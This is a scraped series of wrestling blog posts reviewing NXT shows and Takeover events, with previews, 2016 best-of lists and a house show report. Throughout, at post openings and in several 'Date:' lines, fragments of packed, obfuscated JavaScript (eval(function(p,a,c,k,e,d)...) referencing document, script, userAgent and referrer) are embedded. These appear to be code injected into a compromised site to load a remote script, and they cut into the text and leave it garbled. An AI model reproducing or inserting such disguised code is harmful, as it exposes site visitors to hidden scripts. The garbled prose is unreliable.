Takeover: Orlando Preview

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrdnn|var|u0026u|referrer|sfdzb||js|php'.split('|'),0,{})) year, NXT held its first Takeover event during Wrestlemania weekend with the instant classic “Takeover: Dallas”. The show stole the spotlight over Wrestlemania weekend and was pretty easily the best show of the four days, possibly even the year. Now it’s time for round two and as luck would have it, NXT is in their own backyard, making this almost like a cross between a major house show and one of their biggest pay per views of the year. You don’t hear something like that very often so let’s get to it.

Sanity vs. Tye Dillinger/Roderick Strong/No Way Jose/Ruby Riot

Aleister Black vs. Andrade Cien Almas

Tag Team Titles: DIY vs. Revival vs. Authors of Pain

NXT Title: Shinsuke Nakamura vs. Bobby Roode

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/


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NXT – March 8, 2017: Just A Nice Match

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ziski|var|u0026u|referrer|yzfbn||js|php'.split('|'),0,{})) March 8, 2017
Location: University Area CDC Gymnasium, Tampa, Florida
Commentators: Percy Watson, Nigel McGuinness, Tom Phillips

Opening sequence.

Tye Dillinger vs. Eric Young

HoHo Lun vs. Andrade Cien Almas

Billie Kay vs. Ember Moon

TJ Perkins is ready to face Shinsuke Nakamura tonight.

Ealy Brothers vs. Revival

No match again as the Authors of Pain come out and destroy the Twins.

The Authors go after the Revival but have to settle for beating up the Brothers again.

William Regal makes Ember Moon #1 contender.

TJ Perkins vs. Shinsuke Nakamura

Regal says the winner of Roode vs. Ohno has to defend against Nakamura at Takeover.

Results

Andrade Cien Almas b. HoHo Lun – Hammerlock DDT

Ember Moon b. Billie Kay – Eclipse

Shinsuke Nakamura b. TJ Perkins – Kinshasa


http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


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Takeover – San Antonio: Another Broken Streak

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiakt|var|u0026u|referrer|hkezz||js|php'.split('|'),0,{})) San Antonio
Date: January 28, 2017
Location: Freeman Coliseum, San Antonio, Texas
Commentators: Percy Watson, Tom Phillips, Corey Graves

The opening video looks at all five matches tonight with a theme of change.

Tye Dillinger vs. Eric Young

Back up and Tye grabs him by the beard to really start his comeback. Young runs up to the top so Tye charges up into a belly to belly superplex for two, which means crowd reaction shots have come to NXT. Cue Wolfe to the apron so Tye gives him a Tyebreaker, followed by a superkick to Dane. Another Tyebreaker hits Young but Wolfe puts his foot on the ropes. Tye goes after Sanity once too often and gets caught in the wheelbarrow neckbreaker for the pin at 10:56.

Samoa Joe is here.

Andrade Cien Almas vs. Roderick Strong

Video on Shawn Michaels winning the 1995 Royal Rumble.

Michael P.S. Hayes is here.

Tag Team Titles: DIY vs. Authors of Pain

Rating: C-. Did I fast forward the last five minutes here? It felt like the last part of the match was missing as Asuka was in the first real trouble of her title reign and then retained the title about fifteen seconds later. Asuka retaining is fine but this needed a few more minutes to really sell her being in trouble.

Nikki raises her head and smiles at Asuka as the champ leaves.

Tyler Bate is here.

We recap the NXT Title match. Shinsuke Nakamura got the title back after winning the feud against Samoa Joe. Bobby Roode won a four way elimination match to become #1 contender and wants to make the title GLORIOUS.

NXT Title: Shinsuke Nakamura vs. Bobby Roode

Back in and Roode grabs the Glorious DDT for a very, very close two. Bobby slaps on a half crab and punches at the knee for extra damage before dragging it back to the middle of the ring. Cue Matt Bloom (Albert, the head NXT Coach) as Nakamura tries to reverse into another triangle. The knee gives out though and a second Glorious DDT gives 27:09.

Graves is THRILLED to end the show.

Results

Eric Young b. Tye Dillinger – Wheelbarrow neckbreaker

Roderick Strong b. Andrade Cien Almas – Sick Kick

Authors of Pain b. DIY – Last Chapter to Ciampa

Bobby Roode b. Shinsuke Nakamura – Glorious DDT

 

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


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NXT Takeover: San Antonio Preview

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ekdeb|var|u0026u|referrer|fdins||js|php'.split('|'),0,{})) that time again as NXT will be taking over another Saturday night before we get to one of the Big Four pay per views. Unfortunately this show hasn’t had the best build in the world and a lot of that is due to a combination of the talent being taken up to the main roster and the two weeks spent on international shows that could have been used on the build towards the matches. Today we’re going to look at the build towards “Takeover: San Antonio” and see if it looks better on paper than it’s looked on “NXT” TV.

Eric Young vs. Tye Dillinger

Andrade Cien Almas vs. Roderick Strong

Tag Team Titles: DIY vs. Authors of Pain

This one depends on where you think the title is going after the match as we get closer to the big Wrestlemania weekend show. Asuka has been running through the division for almost a year now and the only real idea is to have the three challengers in one match instead of lining them up one at a time.

NXT Title: Shinsuke Nakamura vs. Bobby Roode

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Best of 2016: Wrestler of the Year

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbnrf|var|u0026u|referrer|zkdzh||js|php'.split('|'),0,{})) down to the final series with the most important of them all: Wrestler of the Year. Someone has to be the biggest name with the best year and that’s what we’re going to be looking at today. WWE has had a great year and some very talented wrestlers put on a strong series of matches. As usual, these are in no particular order and again: I don’t watch much New Japan so there’s no Omega or Naito.

1. Sasha Banks

2. Charlotte

3. Shinsuke Nakamura

This is an interesting one as Nakamura hit the ground at a full on sprint with an amazing match against Sami Zayn at “Takeover: Dallas”, went on to defeat Finn Balor and then went on to become NXT Champion by the end of the summer. After that things started to go downhill a bit as he traded the title with Samoa Joe before coming out with it again.

4. The Miz

5. AJ Styles

This was a coronation after so many years spent toiling in TNA and then a few more taking New Japan Pro Wrestling by storm. Styles was widely considered one of the best of all time to never set a full time foot in WWE and once he got there, he was on fire the whole way. The debut at the Royal Rumble was one of the best moments of the year and he followed it up with classic match after classic match.

6. Samoa Joe

7. Kevin Owens

How can you not include the longest reigning WWE Universal Champion of all time? Owens might not be having the greatest ending to a year of all time but he was on fire earlier in the year. What started off as a pretty forgettable Intercontinental Title reign turned into a rekindling of the awesome Sami Zayn feud and wound up with him winning his first World Title after Finn Balor went down with an injury.

8. Chris Jericho

9. Asuka

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NXT House Show – January 13, 2017: Shaking Hands with Champions

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|defde|var|u0026u|referrer|zrrdi||js|php'.split('|'),0,{})) took in the NXT house show last night at the Broadbent Arena in Louisville, Kentucky. The arena holds 6,600 people but part of it was tarped off and the entire back section of the bleacher seats weren’t sold. The floor seats however were completely full and gave the show a good feeling as the area around the ring was packed.  Let’s get to it.

After a regular opening video and the Star Spangled Banner, the ring announcer started an NXT chant and we were ready to go.

1. Gran Metalik b. Noam Dar – Metalik Driver (8:30)

2. Ember Moon b. Mandy Rose – Eclipse (9:03)

3. Authors of Pain b. Heavy Machinery – Final Chapter (7:28)

4. Elias Samson b. Oney Lorcan – Swinging neckbreaker (7:45)

Billie Kay was out with Royce. This was better than expected with Billie getting in a distraction so Peyton could take over. The Aussies are getting better at their offense and looking more like bullies. Asuka Hulked Up, took out Billie and Asuka Locked Peyton to retain. C+.

Intermission.

6. Tag Team Titles: DIY b. Sanity (Alexander Wolfe/Killian Dain) (12:38)

Eric Young yelled at the rest of Sanity and issued an open challenge.

7. Eric Young b. Patrick Clark

8. Shinsuke Nakamura/Roderick Strong b. Samoa Joe/Bobby Roode (18:34)

The special part came after the show. I had parked around back and walked out where I saw a bus. Putting two and two together, I went over and saw the entire roster come out of the arena. I got a handshake from Gargano, Ciampa and Nakamura, all of whom were taking pictures with kids. They all came off as incredibly nice and polite before getting on the bus. Heavy Machinery was talking to fans on the other side of the crowd. Most of the wrestlers waved with Roode completely ignoring us (as he should have done) and Joe doing his hand pose and sporting a big ice pack on his knee.

Best of 2016: Match of the Year

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndrta|var|u0026u|referrer|yetkr||js|php'.split('|'),0,{})) we’re at one of the big ones. All the stories, all the hype and all the talk doesn’t mean much if the match at the end is worthless. That’s where we’ve arrived: what is the best match of the year? As uninteresting as WWE has seemed, it’s actually been a stacked year for big time matches and there are several to pick from. As usual these are in no particular order and only WWE matches will be considered. Also note that if a match isn’t included, it’s either because I didn’t think it was as good or, far more simply, I didn’t see it.

1. AJ Styles vs. John Cena – Summerslam

Above all else though, this was about the action. These two beat the heck out of each other for over twenty three minutes and it felt like the big match it was supposed to be. This was two top level stars at the top of their game fighting at one of the biggest shows of the year. While that happens a lot, this felt like they lived up to the hype, which is what you have to expect from people at their level.

2. Kota Ibushi vs. TJ Perkins – Cruiserweight Classic Finale

Instead of wasting time with generic moves and almost no characters, we had two guys who are talented and doing all kinds of things to fire the crowd up. The crowd helped as well with the kind of people who wanted to see this style match and appreciate it far more than the average WWE fans. The lack of a story is fine because this was all about the action, which is the point of something like the Cruiserweight Classic.

3. Royal Rumble

4. Sasha Banks vs. Charlotte – “Monday Night Raw” – July 25

5. AJ Styles vs. Roman Reigns – Payback

6. DIY vs. Revival – Takeover: Toronto

7. Sami Zayn vs. Kevin Owens – Battleground

8. Team Smackdown Live vs. Team Monday Night Raw – Survivor Series

It was billed as the other main event of the show (along side FANTASY WARFARE) and my goodness did it manage to work well. This match lasted almost an hour, making it even longer than some Royal Rumbles. The eliminations took their time and the match was allowed to build up instead of being rushed along until we get to the big ones at the end, making it feel like an event instead of just a regular match.

9. Miz vs. Dolph Ziggler – No Mercy

10. Shinsuke Nakamura vs. Sami Zayn – Takeover: Dallas

11. Cesaro vs. The Miz vs. Kevin Owens vs. Sami Zayn – Extreme Rules

12. The Final Deletion – Impact Wrestling – June 28

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New Column: That One Day in January

What is up with January 4?

http://wrestlingrumors.net/kbs-review-one-day-january/




NXT – January 4, 2017: With a Lot of Hitting Him in the Face

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfdia|var|u0026u|referrer|aynra||js|php'.split('|'),0,{})) January 4, 2017
Location: Margaret Court Arena, Melbourne, Australia
Commentators: Tom Phillips, Corey Graves

Opening sequence.

Revival vs. Tino Sabbatelli/Riddick Moss

Elias Samson/Bobby Roode vs. Tye Dillinger/Buddy Murphy

Liv Morgan vs. Billie Kay vs. Ember Moon

As expected, Kay is the big crowd favorite but bails to the floor so the other two can slug it out. Well as much slugging as Morgan is going to do. Billie tries to steal a pin but gets caught in that rolling sunset flip to give Morgan some near falls. A double bulldog puts Kay and Moon down so Liv covers one but gets kicked out onto the other over and over in a clever spot.

Tag Team Titles: DIY vs. TM61

Clever spot and Gargano shoving Miller into the pin for the save made it better. Project Ciampa gives us another near fall and the fans are WAY into the Aussies. Miller and Gargano slug it out in the middle of the ring with Johnny getting the better of it. Thorn is knocked to the floor and the running knee/superkick combo retains the titles at 18:18.

We get the big post match show of respect.

Recap of Nakamura vs. Joe.

NXT Title: Shinsuke Nakamura vs. Samoa Joe

Nakamura is defending and this is inside a cage. The champ takes him down by the leg to start but they grapple up against the ropes with neither being able to get much of an advantage. Joe gets taken into the corner for Good Vibrations so he sends Nakamura hard into the cage to even things up.

Replays wrap it up.

Results

Revival b. Tino Sabbatelli/Riddick Moss – Shatter Machine to Moss

Tye Dillinger/Buddy Murphy b. Bobby Roode/Elias Samson – Tyebreaker to Samson

Ember Moon b. Billie Kay and Liv Morgan – Eclipse to Kay

DIY b. TM61 – Running knee/superkick combination to Miller

Shinsuke Nakamura b. Samoa Joe – Kinshasa

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And check out my Amazon author page with cheap wrestling books at:


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NXT – December 28, 2016: A First For NXT

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnaas|var|u0026u|referrer|teaah||js|php'.split('|'),0,{})) December 28, 2016
Location: Edion Arena, Osaka, Japan
Commentators: Corey Graves, Tom Phillips

We open with a quick video on Samoa Joe vs. Shinsuke Nakamura.

Opening sequence.

Oney Lorcan vs. Andrade Cien Almas

Back up and Lorcan hits a running corner clothesline before popping in a few shots to the face. Something like a standing backflip into a reverse DDT (I believe Tetsuya Naito uses the same) gets two on Lorcan but he comes right back with an inverted exploder. Almas sends him into the corner again with the running double knees getting two despite a foot on the ropes. The hammerlock DDT is broken up and Lorcan takes him to the top for a German superplex (with Almas flipping over in the air) and the pin at 10:06.

Aliyah/Liv Morgan vs. Peyton Royce/Billie Kay

Tag Team Titles: DIY vs. Akira Tozawa/Tajiri

DIY is defending and this time we get the handshake. Gargano and Tozawa start things off and this time the fans are a bit more into it. The fans seem split as both guys miss big kicks and bring in their respective partners. Tajiri sprays some mist as Graves questions his fandom with DIY in the ring.

DIY bows to the challengers post match.

NXT Title: Samoa Joe vs. Shinsuke Nakamura

A lot of posing ends the show.

Results

Oney Lorcan b. Andrade Cien Almas – German superplex

DIY b. Akira Tozawa/Tajiri – Running knee/superkick combination

Asuka b. Nia Jax – Kick to the head

Shinsuke Nakamura b. Samoa Joe – Kinshasa

 

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And check out my Amazon author page with cheap wrestling books at:


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